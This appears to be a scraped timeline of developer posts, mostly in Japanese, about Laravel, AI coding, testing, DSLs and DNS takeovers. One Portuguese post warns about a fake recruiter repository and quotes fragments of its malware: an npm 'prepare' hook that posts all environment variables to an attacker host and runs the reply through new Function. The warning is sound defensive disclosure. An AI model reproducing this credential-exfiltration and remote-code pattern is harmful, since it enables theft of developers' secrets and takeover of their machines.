dev63

[dev63 @dev63_twi]

Laravel Live Japan次回は関西でやらないかな👀

#laravelivejapan #phpkansai

[dev63 @dev63_twi]

phpstan使ってないとかNunoの前でも言えんの？

#laravelivejapan #phpkansai

[Masaki Haga @silasolla]

ブラックボックステストを買い被りすぎている生成 AI 界隈に，ブラックボックステストで検証できないものの話をする必要があるな．

出力は正しいけど O(n^2) や O(2^n) のループが仕込まれていたらどうするのだろう．

IO モナドが型に出ない言語で副作用が入っていないのをどう保証するのだろう．

[Torishima / INTP @izutorishima]

エンジニア時点だと出てこない発想の転換で感動…！一読推奨です
要は『複雑な内製アプリを人間とAIで共同編集したい』要件で、当該アプリのGUI構造に沿ってMermaidみたいな独自DSLを設計させ、GUIをそのDSLファイルのレンダラにする事で、LLMに高速に精度良く操作させられる
https://t.co/dtLRUWakaM

今 LLM に提案すると真っ先に言われるであろう Next.js + Supabase みたいな SaaS 型の設計からはまず出てこない発想ではあるけど、一方で動画編集ソフトとかはだいだい独自フォーマット、あるいは JSON / XML / YAML あたりで内部構造をエンコードしたシリアライズ形式になっているし、ローカル内製アプリとしては特段特殊なアイデアという訳でもない（設定を DB ではなく単一ファイルの SSoT で管理してるアプリはごまんとある）

…その上でこの提案の最大の価値は、昨今言われる「LLM による GUI 操作」がマウスクリックやキーボード操作など GUI 時代の自動操作のため壊れやすくどうしても遅いのに対し、
・『SSoT or プロジェクトファイルの形式自体を、当該 GUI アプリのビジュアル構造を LLM がテキストで簡潔に書き記すことに特化して設計した DSL にする』
・『当該 DSL で記述されたファイルを SSoT として、人間と AI で共同編集可能な設計にする』
という発想の転換にあると思う

言われてみれば確かに何故気づかなかったんだろう…！となったけど、「GUI アプリは画面から操作するもの」と思い込んでると出てこない発想でもある
もちろん大規模利用には向かないが、業務用の内製アプリなら十分なケースも多そう

『汎用データ言語を敢えて使わず、LLM 時代なので当該アプリのドメインに特化した DSL の設計とパーサとシリアライザを LLM 自身に作らせる』ことで、JSON スキーマや YAML よりトークン数を大幅に圧縮でき（JSON は特にエスケープとかが煩雑）、グラフやマインドマップのような複雑なノード構造も表現しやすくなる、という視点はエンジニアからだと考慮の外にあったので、そこが一番目から鱗だった…

課題があるとすれば『LLM 自身が当該 DSL 仕様違反のテキストを吐いてきてパースできない』『DSL のパーサ/シリアライザの品質が悪い』とかが初期に起きそうな点だが、LLM の性能が向上していること、むしろ記法をシンプルにしてクオートみたいな余計な構造化マークアップを排除することで、JSON や YAML だと冗長に数百行書かないといかなかったのがコンパクトに収まり、結果的にミスが減るだとかのメリットもありそうな感

[uounɹɐʇ @tarunon]

@about_hiroppy 売ったらサプライチェーン攻撃の根っこになっちゃいそう

[hiroppy @about_hiroppy]

急にメール来たんだけど、今こんなビジネスあるの！？ 怖

[Fabio Vedovelli @vedovelli74]

⚠️ Devs, parem tudo e leiam. Quase rodei malware na minha máquina agora mesmo e quero que vocês saibam exatamente como funciona o golpe.

Recebi um link de um repo no GitHub: um "MVP" de um projeto web3/poker, com pedido pra clonar e rodar localmente. Visual de teste técnico, daqueles que recruiter manda. Antes de tocar em qualquer coisa, parei e li o código pelo próprio GitHub, sem clonar.

Bem que desconfiei. Era malware. E não um qualquer — tinha DOIS payloads que executam SOZINHOS, sem você rodar nada explicitamente.

🎯 Payload 1 — dispara no `npm install`
O `package.json` tinha `"prepare": "node server/server.js"`. O detalhe maldoso: o script `prepare` roda AUTOMÁTICO toda vez que você dá `npm install`. Dentro dele, escondido nas rotas do servidor, um:

`https://t.co/EHtEFLu5Yg(url, { ...process.env })`

Ou seja: ele empacota TODAS as suas variáveis de ambiente — chaves de AWS, tokens de API, secrets, seed phrase de carteira cripto — e manda pro servidor do atacante. E não para aí: a RESPOSTA do servidor é passada pra `new Function("require", resposta)(require)`. Isso é execução de código arbitrário, com acesso total ao Node: filesystem, child_process, rede. Ele pode roubar suas chaves SSH, instalar persistência, o que quiser.

A URL do atacante? Escondida em base64 no `.env`, decodificando pra um domínio na Vercel. Disfarce em cima de disfarce.

[zaru @zaru]

gitでpackge-lock.jsonなどがコンフリクトした時絶望するけど、git checkout --ours package-lock.jsonで自分の更新をなかったことにしてコンフリクト解消してから改めてパッケージ更新するという技を初めて知った

[mizchi @mizchi]

今AIの生成コード量が多くてレビューできない認知的敗北は、コードの可視化手法が不足してる結果起きてる問題で、テキストで一行ずつ読む以外のレビュー手法を発達させる必要が思ってる。

それはそれとして、中身を知らずに検査するブラックボックステスト手法の価値が上がってる

[mizdra @mizdra]

はてなブログに投稿しました
TSKaigi 2026 の発表資料の体感半数以上が AI 生成感ある資料だった - mizdra's blog https://t.co/VVHpoQyMj1
#はてなブログ

[親方さん @Surounin]

うぇ、ガチで知らない奴でてきた
内部で定義したフォーム画面が外のAIエージェントに直接共有できる！？

[ひさじゅ@AIプログラミングスクールRUNTEQの代表 @hisaju01]

これは偏見なんですが、TDDやコードの書き方にこだわってる人ほどテスト技法について知らない。

[ryoppippi @ryoppippi]

コードを読むviewerとしてのvim、快適すぎる。
vimはnormal modeがdefaultなので。
文字を入れる挿入モードが特別なモードであるという現代のためのような思想

実践Vim　思考のスピードで編集しよう！ (アスキー書籍) https://t.co/1fNC0cvNrz #Amazon via @Amazon

[farstep @farstep_]

https://t.co/fLIm4rlzco

[Takuto Wada @t_wada]

"twadaさんからこの本を教えてもらった" "結合強度モデルは天才的な整理" "自分の中に構築されていた理論が一度分解され、再構築される感覚が得られる" "多分この本は10年に一度みたいな本" 俺は良い仕事をしたと思う / 『ソフトウェア設計の結合バランス』を読んだ https://t.co/4qIzCR9A4G

[tatsuki | Claude Code活用支援 @nobel_824]

まじ？Microsoftが自社エンジニアにAI（Claude Code）の使用を事実上禁止しました。理由がかなり衝撃的で「AIを使うコストが、人間を雇うコストを上回ったから」という、これまでのAI導入の前提を根底から覆すようなものでした。
https://t.co/SMw7nQgGCk
このニュースが示唆するAI活用の構造的限界について、実務的な視点で深掘りします。

[石原少将(4IR engineer)🗾 @muramsat]

日本のエンジニア、これ、AIの手助けもらってでも読んだ方がいいと思う。コーディングをAIに任せればいいや、レビューも要らん、って気にならなくなると思う。これ読んでも思うなら…うーん。書くのはやめておこう。

https://t.co/yeLsjRxIQ6

[Yusuke Wada @yusukebe]

自分専用のスキル、もしくはスキル集を持ってる人いる？？

[しばにゃん @shibanyan_1]

勘違いされてる方多いけど、乗っ取られた原因はワイルドカード設定じゃなくて、先にIN CNAME example.github\.io.を向けたからだよ。つまりただのdangling records
ワイルドカードしなければいいと思っていた方は危機感持った方がいい